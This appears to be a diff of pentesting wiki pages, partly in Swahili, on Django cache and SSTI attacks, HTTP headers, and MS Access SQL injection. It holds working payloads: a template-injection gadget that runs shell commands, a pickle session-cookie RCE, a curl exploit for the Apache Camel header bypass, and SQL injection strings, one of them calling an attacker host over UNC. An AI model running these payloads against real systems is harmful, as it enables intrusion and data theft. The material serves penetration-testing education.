Cache ya Django inahifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [hifadhidata](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au hifadhidata ndiyo njia za shambulio zinazoweza kutokea (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache ya faili kubadilisha kuandika bila mpangilio kuwa RCE. Wajibu wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la jedwali la SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji.
|
||||
|
||||
Ripoti hii ya HackerOne inatoa mfano mzuri, unaoweza kurudiwa wa kutumia cache ya Django iliyohifadhiwa kwenye hifadhidata ya SQLite: https://hackerone.com/reports/1415436
|
||||
|
||||
@ -15,8 +15,8 @@ Ripoti hii ya HackerOne inatoa mfano mzuri, unaoweza kurudiwa wa kutumia cache y
|
||||
Lugha ya Kigezo ya Django (DTL) ni **Turing-complete**. Ikiwa data iliyotolewa na mtumiaji inatolewa kama *kigezo cha mfuatano* (kwa mfano kwa kuita `Template(user_input).render()` au wakati `|safe`/`format_html()` inatoa kuondoa kiotomatiki), mshambuliaji anaweza kufikia SSTI kamili → RCE.
|
||||
|
||||
### Detection
|
||||
1. Tafuta wito wa moja kwa moja kwa `Template()` / `Engine.from_string()` / `render_to_string()` ambazo zinajumuisha *data yoyote* ya ombi isiyo salama.
|
||||
2. Tuma mzigo wa wakati au wa hesabu:
|
||||
1. Tafuta simu za moja kwa moja kwa `Template()` / `Engine.from_string()` / `render_to_string()` ambazo zinajumuisha *data yoyote* ya ombi isiyo salama.
|
||||
2. Tuma mzigo wa muda au wa hesabu:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
@ -31,14 +31,14 @@ Pata index ya `subprocess.Popen` (≈400–500 kulingana na ujenzi wa Python) na
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
A safer universal gadget ni kurudia hadi `cls.__name__ == 'Popen'`.
|
||||
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
|
||||
|
||||
Gadget hiyo hiyo inafanya kazi kwa **Debug Toolbar** au **Django-CMS** vipengele vya uwasilishaji wa templeti ambavyo vinashughulikia pembejeo za mtumiaji vibaya.
|
||||
The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Ikiwa mipangilio `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` imewezeshwa (au serializer maalum inayofanya deserialization ya pickle), Django *inafichua na kuondoa pickle* kwenye cookie ya kikao **kabla** ya kuita msimbo wowote wa mtazamo. Hivyo basi, kuwa na funguo halali ya kusaini (mipango `SECRET_KEY` kwa kawaida) inatosha kwa utekelezaji wa msimbo wa mbali mara moja.
|
||||
Ikiwa mipangilio `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` imewezeshwa (au serializer maalum inayofanya deserialization ya pickle), Django *inafichua na kuondoa pickle* kwenye cookie ya kikao **kabla** ya kuita msimbo wowote wa mtazamo. Hivyo, kuwa na funguo halali za kusaini (mfunguo wa `SECRET_KEY` wa mradi kwa kawaida) inatosha kwa utekelezaji wa msimbo wa mbali mara moja.
|
||||
|
||||
### Mahitaji ya Kutekeleza
|
||||
* Server inatumia `PickleSerializer`.
|
||||
@ -60,20 +60,20 @@ print(f"sessionid={mal}")
|
||||
```
|
||||
Tuma cookie inayofuata, na payload inafanya kazi kwa ruhusa za mfanyakazi wa WSGI.
|
||||
|
||||
**Mikakati ya Kuzuia**: Hifadhi `JSONSerializer` ya chaguo-msingi, badilisha `SECRET_KEY`, na sanidi `SESSION_COOKIE_HTTPONLY`.
|
||||
**Mikakati ya Kuzuia**: Hifadhi `JSONSerializer` ya default, badilisha `SECRET_KEY`, na sanidi `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## CVEs za Juu za Django za Karibuni (2023-2025) Ambazo Pentesters Wanapaswa Kuangalia
|
||||
* **CVE-2025-48432** – *Log Injection kupitia `request.path` isiyo na kuepukwa* (imefanyiwa marekebisho Juni 4 2025). Inawawezesha washambuliaji kusafirisha mistari mipya/kanuni za ANSI kwenye faili za log na kuharibu uchambuzi wa log wa chini. Kiwango cha patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kuingilia kwa SQL muhimu* katika `QuerySet.values()/values_list()` kwenye `JSONField` (CVSS 9.8). Tengeneza funguo za JSON kuvunja kutoka kwa kunukuu na kutekeleza SQL isiyo ya kawaida. Imefanyiwa marekebisho katika 4.2.15 / 5.0.8.
|
||||
## CVEs za Juu za Django za Athari Kuu za Hivi Karibuni (2023-2025) Ambazo Pentesters Wanapaswa Kuangalia
|
||||
* **CVE-2025-48432** – *Log Injection kupitia `request.path` isiyo na kukwepa* (imefanyiwa marekebisho Juni 4 2025). Inawawezesha washambuliaji kusafirisha newlines/ANSI codes kwenye faili za log na kuharibu uchambuzi wa log za chini. Kiwango cha patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kuingilia kwa SQL muhimu* katika `QuerySet.values()/values_list()` kwenye `JSONField` (CVSS 9.8). Tengeneza funguo za JSON kuvunja kutoka kwa kunukuu na kutekeleza SQL isiyo na mipaka. Imefanyiwa marekebisho katika 4.2.15 / 5.0.8.
|
||||
|
||||
Daima tambua toleo halisi la mfumo kupitia ukurasa wa makosa wa `X-Frame-Options` au hash ya `/static/admin/css/base.css` na jaribu yaliyo hapo juu inapofaa.
|
||||
|
||||
---
|
||||
|
||||
## Marejeleo
|
||||
* Toleo la usalama la Django – "Django 5.2.2, 5.1.10, 4.2.22 inashughulikia CVE-2025-48432" – 4 Juni 2025.
|
||||
* OP-Innovate: "Django inatoa masasisho ya usalama kushughulikia kasoro ya kuingilia kwa SQL CVE-2024-42005" – 11 Agosti 2024.
|
||||
* Toleo la usalama la Django – "Django 5.2.2, 5.1.10, 4.2.22 anashughulikia CVE-2025-48432" – 4 Juni 2025.
|
||||
* OP-Innovate: "Django inatoa masasisho ya usalama kushughulikia kasoro ya kuingilia SQL CVE-2024-42005" – 11 Agosti 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -56,12 +56,12 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
|
||||
**Server Cache Headers**:
|
||||
|
||||
- **`X-Cache`** katika jibu inaweza kuwa na thamani **`miss`** wakati ombi halikuhifadhiwa na thamani **`hit`** wakati inahifadhiwa
|
||||
- Tabia sawa katika kichwa **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** inaonyesha ikiwa rasilimali inahifadhiwa na wakati itakuwa wakati wa pili rasilimali itahifadhiwa tena: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** mara nyingi hutumiwa katika jibu ku **onyesha vichwa vya ziada** vinavyotendewa kama **sehemu ya ufunguo wa cache** hata kama kawaida havina ufunguo.
|
||||
- **`Age`** inaelezea wakati katika sekunde kitu kimekuwa katika cache ya proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** pia inaonyesha kwamba rasilimali ilihifadhiwa
|
||||
- **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached
|
||||
- Similar behaviour in the header **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed.
|
||||
- **`Age`** defines the times in seconds the object has been in the proxy cache.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** also indicates that a resource was cached
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -69,37 +69,37 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
|
||||
**Local Cache headers**:
|
||||
|
||||
- `Clear-Site-Data`: Kichwa kuonyesha cache ambayo inapaswa kuondolewa: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Inashikilia tarehe/saa wakati jibu linapaswa kuisha: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` sawa na `Cache-Control: no-cache`
|
||||
- `Warning`: Kichwa cha jumla cha **`Warning`** kinashikilia habari kuhusu matatizo yanayoweza kutokea na hali ya ujumbe. Kichwa zaidi ya moja cha `Warning` kinaweza kuonekana katika jibu. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Clear-Site-Data`: Header to indicate the cache that should be removed: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contains date/time when the response should expire: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` same as `Cache-Control: no-cache`
|
||||
- `Warning`: The **`Warning`** general HTTP header contains information about possible problems with the status of the message. More than one `Warning` header may appear in a response. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Conditionals
|
||||
|
||||
- Maombi yanayotumia vichwa hivi: **`If-Modified-Since`** na **`If-Unmodified-Since`** yatapokelewa na data tu ikiwa kichwa cha jibu **`Last-Modified`** kina wakati tofauti.
|
||||
- Maombi ya masharti yanayotumia **`If-Match`** na **`If-None-Match`** yanatumia thamani ya Etag ili seva ya wavuti itume maudhui ya jibu ikiwa data (Etag) imebadilika. `Etag` inachukuliwa kutoka kwa jibu la HTTP.
|
||||
- Thamani ya **Etag** kawaida **inakokotwa** kulingana na **maudhui** ya jibu. Kwa mfano, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` inaonyesha kwamba `Etag` ni **Sha1** ya **bytes 37**.
|
||||
- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
|
||||
- Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response.
|
||||
- The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
|
||||
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Inaonyesha ikiwa seva inasaidia maombi ya anuwai, na ikiwa ndivyo katika kitengo gani anuwai inaweza kuonyeshwa. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Inaonyesha sehemu ya hati ambayo seva inapaswa kurudisha. Kwa mfano, `Range:80-100` itarudisha bytes 80 hadi 100 za jibu la asili na msimbo wa hali ya 206 Maudhui ya Sehemu. Pia kumbuka kuondoa kichwa cha `Accept-Encoding` kutoka kwa ombi.
|
||||
- Hii inaweza kuwa na manufaa kupata jibu lenye msimbo wa javascript ulioakisi ambao vinginevyo ungeweza kukwepa. Lakini ili kutumia hii unahitaji kuingiza vichwa hivi katika ombi.
|
||||
- **`If-Range`**: Inaunda ombi la anuwai la masharti ambalo linaweza kutimizwa tu ikiwa etag au tarehe iliyotolewa inalingana na rasilimali ya mbali. Inatumika kuzuia kupakua anuwai mbili kutoka kwa toleo lisilo sawa la rasilimali.
|
||||
- **`Content-Range`**: Inaonyesha wapi katika ujumbe wa mwili kamili ujumbe wa sehemu unahusiana.
|
||||
- **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indicates the part of a document that the server should return. For example, `Range:80-100` will return the bytes 80 to 100 of the original response with a status code of 206 Partial Content. Also remember to remove the `Accept-Encoding` header from the request.
|
||||
- This could be useful to get a response with arbitrary reflected javascript code that otherwise could be escaped. But to abuse this you would need to inject this headers in the request.
|
||||
- **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
|
||||
- **`Content-Range`**: Indicates where in a full body message a partial message belongs.
|
||||
|
||||
## Message body information
|
||||
|
||||
- **`Content-Length`:** Ukubwa wa rasilimali, katika nambari ya desimali ya bytes.
|
||||
- **`Content-Type`**: Inaonyesha aina ya vyombo vya habari vya rasilimali
|
||||
- **`Content-Encoding`**: Inatumika kubainisha algorithimu ya kufinya.
|
||||
- **`Content-Type`**: Inaonyesha aina ya media ya rasilimali
|
||||
- **`Content-Encoding`**: Inatumika kubainisha algorithm ya compression.
|
||||
- **`Content-Language`**: Inaelezea lugha za kibinadamu zinazokusudiwa kwa hadhira, ili kuruhusu mtumiaji kutofautisha kulingana na lugha anayoipendelea.
|
||||
- **`Content-Location`**: Inaonyesha mahali mbadala kwa data iliyorejeshwa.
|
||||
|
||||
Kutoka kwa mtazamo wa pentest, habari hii kawaida ni "isiyo na maana", lakini ikiwa rasilimali ime **lindwa** na 401 au 403 na unaweza kupata **njia** ya **kupata** hii **habari**, hii inaweza kuwa **ya kuvutia.**\
|
||||
Kwa mfano, mchanganyiko wa **`Range`** na **`Etag`** katika ombi la HEAD unaweza kuvuja maudhui ya ukurasa kupitia maombi ya HEAD:
|
||||
From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**\
|
||||
For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests:
|
||||
|
||||
- Ombi lenye kichwa `Range: bytes=20-20` na jibu linaloshikilia `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` linavuja kwamba SHA1 ya byte 20 ni `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Server Info
|
||||
|
||||
@ -108,12 +108,12 @@ Kwa mfano, mchanganyiko wa **`Range`** na **`Etag`** katika ombi la HEAD unaweza
|
||||
|
||||
## Controls
|
||||
|
||||
- **`Allow`**: Kichwa hiki kinatumika kuwasiliana mbinu za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kuainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia mbinu hizi.
|
||||
- **`Expect`**: Inatumika na mteja kuwasilisha matarajio ambayo seva inahitaji kutimiza ili ombi lilipwe kwa mafanikio. Matumizi ya kawaida yanahusisha kichwa cha `Expect: 100-continue`, ambacho kinadhihirisha kwamba mteja anakusudia kutuma mzigo mkubwa wa data. Mteja anatazamia jibu la `100 (Continue)` kabla ya kuendelea na uhamasishaji. Mekanismu hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho wa seva.
|
||||
- **`Allow`**: Header hii inatumika kuwasiliana mbinu za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kuainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia mbinu hizi.
|
||||
- **`Expect`**: Inatumika na mteja kuwasilisha matarajio ambayo seva inahitaji kutimiza ili ombi lilipwe kwa mafanikio. Matumizi ya kawaida yanahusisha kichwa cha `Expect: 100-continue`, ambacho kinadhihirisha kwamba mteja anatarajia kutuma mzigo mkubwa wa data. Mteja anatazamia jibu la `100 (Continue)` kabla ya kuendelea na uhamasishaji. Mekanism hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho wa seva.
|
||||
|
||||
## Downloads
|
||||
|
||||
- Kichwa cha **`Content-Disposition`** katika majibu ya HTTP kinaelekeza ikiwa faili inapaswa kuonyeshwa **inline** (ndani ya ukurasa wa wavuti) au kutendewa kama **kiambatisho** (kupakuliwa). Kwa mfano:
|
||||
- The **`Content-Disposition`** header in HTTP responses directs whether a file should be displayed **inline** (within the webpage) or treated as an **attachment** (downloaded). For instance:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -129,7 +129,7 @@ Hii inamaanisha faili iliyo na jina "filename.jpg" inakusudiwa kupakuliwa na kuh
|
||||
|
||||
### **Aina Zinazotolewa**
|
||||
|
||||
Kwa kutekeleza Aina Zinazotolewa kupitia CSP, programu zinaweza kulindwa dhidi ya mashambulizi ya DOM XSS. Aina Zinazotolewa zinahakikisha kwamba ni vitu vilivyoundwa kwa usahihi pekee, vinavyokubaliana na sera za usalama zilizowekwa, vinaweza kutumika katika wito hatari wa API za wavuti, hivyo kulinda msimbo wa JavaScript kwa default.
|
||||
Kwa kutekeleza Aina Zinazotolewa kupitia CSP, programu zinaweza kulindwa dhidi ya mashambulizi ya DOM XSS. Aina Zinazotolewa zinahakikisha kwamba ni vitu vilivyoundwa kwa usahihi tu, vinavyokubaliana na sera za usalama zilizowekwa, vinaweza kutumika katika wito hatari wa API za wavuti, hivyo kulinda msimbo wa JavaScript kwa default.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -154,13 +154,13 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Ili kupambana na clickjacking, kichwa hiki kinapunguza jinsi hati zinavyoweza kuingizwa katika `<frame>`, `<iframe>`, `<embed>`, au `<object>` tags, kikipendekeza hati zote kufafanua ruhusa zao za kuingizwa waziwazi.
|
||||
Ili kupambana na clickjacking, kichwa hiki kinapunguza jinsi hati zinaweza kuingizwa katika `<frame>`, `<iframe>`, `<embed>`, au `<object>` vitambulisho, kikipendekeza hati zote kufafanua ruhusa zao za kuingizwa waziwazi.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) na Cross-Origin Resource Sharing (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP ni muhimu kwa kubaini ni rasilimali zipi zinaweza kupakuliwa na tovuti, ikipunguza uvujaji wa data kati ya tovuti. CORS, kwa upande mwingine, inaruhusu mfumo wa kubadilishana rasilimali za asili tofauti kwa njia rahisi, ikirekebisha sera ya asili sawa chini ya hali fulani.
|
||||
CORP ni muhimu kwa kubaini ni rasilimali zipi zinaweza kupakuliwa na tovuti, ikipunguza uvujaji wa taarifa kati ya tovuti. CORS, kwa upande mwingine, inaruhusu mfumo wa kubadilishana rasilimali za asili tofauti kwa njia ya kubadilika zaidi, ikirelax sera ya asili sawa chini ya hali fulani.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
@ -187,24 +187,24 @@ Mifano ya kawaida ambapo makosa haya yanaonekana:
|
||||
|
||||
* Orodha maalum za ruhusa/zuio ambazo zinajaribu kuzuia vichwa vya ndani "hatari" kabla ombi halijafikia kipengele nyeti.
|
||||
* Utekelezaji wa ndani wa pseudo-vichwa vya reverse-proxy (kwa mfano, usafi wa `X-Forwarded-For`).
|
||||
* Mifumo ambayo inafichua mwisho wa usimamizi / ufuatiliaji na inategemea majina ya vichwa kwa uthibitishaji au uchaguzi wa amri.
|
||||
* Mifumo ambayo inafichua mwisho wa usimamizi / upelelezi na inategemea majina ya vichwa kwa uthibitishaji au uchaguzi wa amri.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Tambua kichwa ambacho kinachujwa au kuthibitishwa upande wa seva (kwa mfano, kwa kusoma msimbo wa chanzo, nyaraka, au ujumbe wa makosa).
|
||||
2. Tuma **kichwa hicho hicho na uandishi tofauti wa herufi** (mchanganyiko wa herufi au herufi kubwa). Kwa sababu HTTP stacks kawaida hufanya kanuni za vichwa tu *baada* ya msimbo wa mtumiaji kukimbia, ukaguzi unaoweza kuathiriwa unaweza kupuuziliwa mbali.
|
||||
2. Tuma **kichwa hicho hicho na uandishi tofauti wa herufi** (herufi mchanganyiko au herufi kubwa). Kwa sababu HTTP stacks kawaida hufanya kanuni vichwa tu *baada* ya msimbo wa mtumiaji kukimbia, ukaguzi unaoweza kuathiriwa unaweza kupuuziliwa mbali.
|
||||
3. Ikiwa kipengele cha chini kinachukulia vichwa kwa njia isiyo na tofauti ya herufi (zaidi ya wengi hufanya hivyo), kitakubali thamani inayodhibitiwa na mshambuliaji.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
Katika toleo hatarishi la Apache Camel, njia za *Command Center* zinajaribu kuzuia maombi yasiyoaminika kwa kuondoa vichwa `CamelExecCommandExecutable` na `CamelExecCommandArgs`. Ulinganifu ulifanywa kwa `equals()` hivyo majina halisi ya herufi ndogo pekee yaliondolewa.
|
||||
Katika toleo hatarishi la Apache Camel, njia za *Command Center* zinajaribu kuzuia maombi yasiyoaminika kwa kuondoa vichwa `CamelExecCommandExecutable` na `CamelExecCommandArgs`. Ulinganisho ulifanywa kwa `equals()` hivyo majina ya herufi ndogo pekee ndiyo yaliyoondolewa.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Vichwa vinawafikia kipengele cha `exec` bila kuchujwa, na kusababisha utekelezaji wa amri za mbali kwa mamlaka ya mchakato wa Camel.
|
||||
Vichwa vinawafikia kipengele cha `exec` bila kuchujwa, na kusababisha utekelezaji wa amri za mbali kwa haki za mchakato wa Camel.
|
||||
|
||||
### Ugunduzi & Kupunguza
|
||||
|
||||
|
@ -27,7 +27,7 @@ Ikiwa hii haifanyi kazi unaweza kila wakati kurekebisha sintaksia ya ombi:
|
||||
```
|
||||
### Stacked Queries
|
||||
|
||||
Hazirishiwi.
|
||||
Haziruhishwa.
|
||||
|
||||
### LIMIT
|
||||
|
||||
@ -35,11 +35,11 @@ Mwandiko wa **`LIMIT`** **haujawekwa**. Hata hivyo, inawezekana kupunguza matoke
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
Kama TOP, unaweza kutumia **`LAST`** ambayo itapata **safu kutoka mwisho**.
|
||||
Kama TOP unaweza kutumia **`LAST`** ambayo itapata **safu kutoka mwisho**.
|
||||
|
||||
## UNION Queries/Sub queries
|
||||
|
||||
Katika SQLi, kwa kawaida utataka kwa namna fulani kutekeleza uchunguzi mpya ili kutoa taarifa kutoka kwa meza nyingine. MS Access kila wakati inahitaji kwamba katika **subqueries au uchunguzi wa ziada `FROM` iwe imeonyeshwa**.\
|
||||
Katika SQLi kwa kawaida utataka kwa namna fulani kutekeleza uchunguzi mpya ili kutoa taarifa kutoka kwa meza nyingine. MS Access kila wakati inahitaji kwamba katika **subqueries au uchunguzi wa ziada `FROM` inapaswa kuonyeshwa**.\
|
||||
Hivyo, ikiwa unataka kutekeleza `UNION SELECT` au `UNION ALL SELECT` au `SELECT` kati ya mabano katika hali, kila wakati **unahitaji kuonyesha `FROM` na jina halali la meza**.\
|
||||
Kwa hivyo, unahitaji kujua **jina halali la meza**.
|
||||
```sql
|
||||
@ -50,13 +50,13 @@ Kwa hivyo, unahitaji kujua **jina halali la meza**.
|
||||
> [!WARNING]
|
||||
> Hii itakuruhusu kutoa thamani za jedwali la sasa bila kuhitaji kujua jina la jedwali.
|
||||
|
||||
**MS Access** inaruhusu **sintaksia ya ajabu** kama **`'1'=2='3'='asd'=false`**. Kama kawaida, SQL injection itakuwa ndani ya **`WHERE`** clause tunaweza kuitumia hiyo.
|
||||
**MS Access** inaruhusu **sintaksia za ajabu** kama **`'1'=2='3'='asd'=false`**. Kama kawaida, SQL injection itakuwa ndani ya **`WHERE`** clause tunaweza kuitumia hiyo.
|
||||
|
||||
Fikiria una SQLi katika hifadhidata ya MS Access na unajua (au umekisia) kwamba jina moja la **safu ni username**, na hiyo ndiyo sehemu unayotaka **kutoa**. Unaweza kuangalia majibu tofauti ya programu ya wavuti wakati mbinu ya chaining equals inatumika na kwa uwezekano kutoa maudhui kwa kutumia **boolean injection** kwa kutumia **`Mid`** function kupata substrings.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Ikiwa unajua **jina la jedwali** na **safu** ya kutupa unaweza kutumia mchanganyiko kati ya `Mid`, `LAST` na `TOP` ili **kuvuja taarifa zote** kupitia boolean SQLi:
|
||||
Ikiwa unajua **jina la jedwali** na **safu** ya kutupa unaweza kutumia mchanganyiko kati ya `Mid`, `LAST` na `TOP` ili **kutoa taarifa zote** kupitia boolean SQLi:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -64,7 +64,7 @@ _Feel free to check this in the online playground._
|
||||
|
||||
### Brute-forcing Majina ya Meza
|
||||
|
||||
Using the chaining equals technique you can also **bruteforce table names** with something like:
|
||||
Kwa kutumia mbinu ya kuunganisha sawa unaweza pia **bruteforce majina ya meza** na kitu kama:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -74,12 +74,12 @@ Unaweza pia kutumia njia ya jadi zaidi:
|
||||
```
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
- Sqlmap majina ya meza ya kawaida: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Sqlmap majina ya kawaida ya meza: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Kuna orodha nyingine katika [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### Brute-Forcing Majina ya Safu
|
||||
|
||||
Unaweza **kujaribu majina ya safu za sasa** kwa kutumia hila ya kuunganisha sawa na:
|
||||
Unaweza **kujaribu kwa nguvu majina ya safu za sasa** kwa kutumia hila ya kuunganisha sawa na:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -101,9 +101,9 @@ IIF((select mid(last(username),1,1) from (select top 10 username from users))='a
|
||||
```
|
||||
Kwa kifupi, ombi linatumia taarifa ya "ikiwa-kisha" ili kuanzisha "200 OK" katika kesi ya mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia opereta TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi yanayofuata ya LAST yanaruhusu kuzingatia tuple ya 10 tu. Kwenye thamani hiyo, kwa kutumia opereta MID, inawezekana kufanya kulinganisha rahisi la herufi. Kwa kubadilisha ipasavyo index ya MID na TOP, tunaweza kutoa maudhui ya uwanja wa "username" kwa safu zote.
|
||||
|
||||
### Hila za Muda (Kipofu)
|
||||
### Hila za Muda (Kiziwi)
|
||||
|
||||
Jet/ACE SQL yenyewe **haitoi** kazi asilia ya `SLEEP()` au `WAITFOR`, hivyo sindano za kipofu za muda za jadi zimepunguzwa. Hata hivyo, bado unaweza kuanzisha kuchelewesha kunakoweza kupimwa kwa kulazimisha injini kufikia **rasilimali ya mtandao ambayo ni polepole au haina jibu**. Kwa sababu injini itajaribu kufungua faili kabla ya kurudisha matokeo, muda wa majibu ya HTTP unaakisi ucheleweshaji wa mzunguko kwa mwenyeji anayodhibitiwa na mshambuliaji.
|
||||
Jet/ACE SQL yenyewe **haitoi** kazi asilia ya `SLEEP()` au `WAITFOR`, hivyo sindano za kiziwi za muda za jadi zimepungukiwa. Hata hivyo, bado unaweza kuanzisha kuchelewesha kunakoweza kupimwa kwa kulazimisha injini kufikia **rasilimali ya mtandao ambayo ni pole au haisikii**. Kwa sababu injini itajaribu kufungua faili kabla ya kurudisha matokeo, muda wa majibu ya HTTP unaakisi ucheleweshaji wa safari kwa mwenyeji anayodhibitiwa na mshambuliaji.
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
@ -113,16 +113,16 @@ Point the UNC path to:
|
||||
* a host that drops the TCP handshake after `SYN-ACK`
|
||||
* a firewall sinkhole
|
||||
|
||||
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. citeturn1search0
|
||||
Sekunde za ziada zinazotolewa na utafutaji wa mbali zinaweza kutumika kama **out-of-band timing oracle** kwa masharti ya boolean (kwa mfano, chagua njia polepole tu wakati hali iliyoingizwa ni ya kweli). Microsoft inaandika tabia ya hifadhidata ya mbali na kitufe cha kuua kwenye rejista kinachohusiana katika KB5002984. citeturn1search0
|
||||
|
||||
### Other Interesting functions
|
||||
|
||||
- `Mid('admin',1,1)` pata substring kutoka nafasi 1 urefu 1 (nafasi ya awali ni 1)
|
||||
- `LEN('1234')` pata urefu wa string
|
||||
- `ASC('A')` pata thamani ya ascii ya char
|
||||
- `CHR(65)` pata string kutoka thamani ya ascii
|
||||
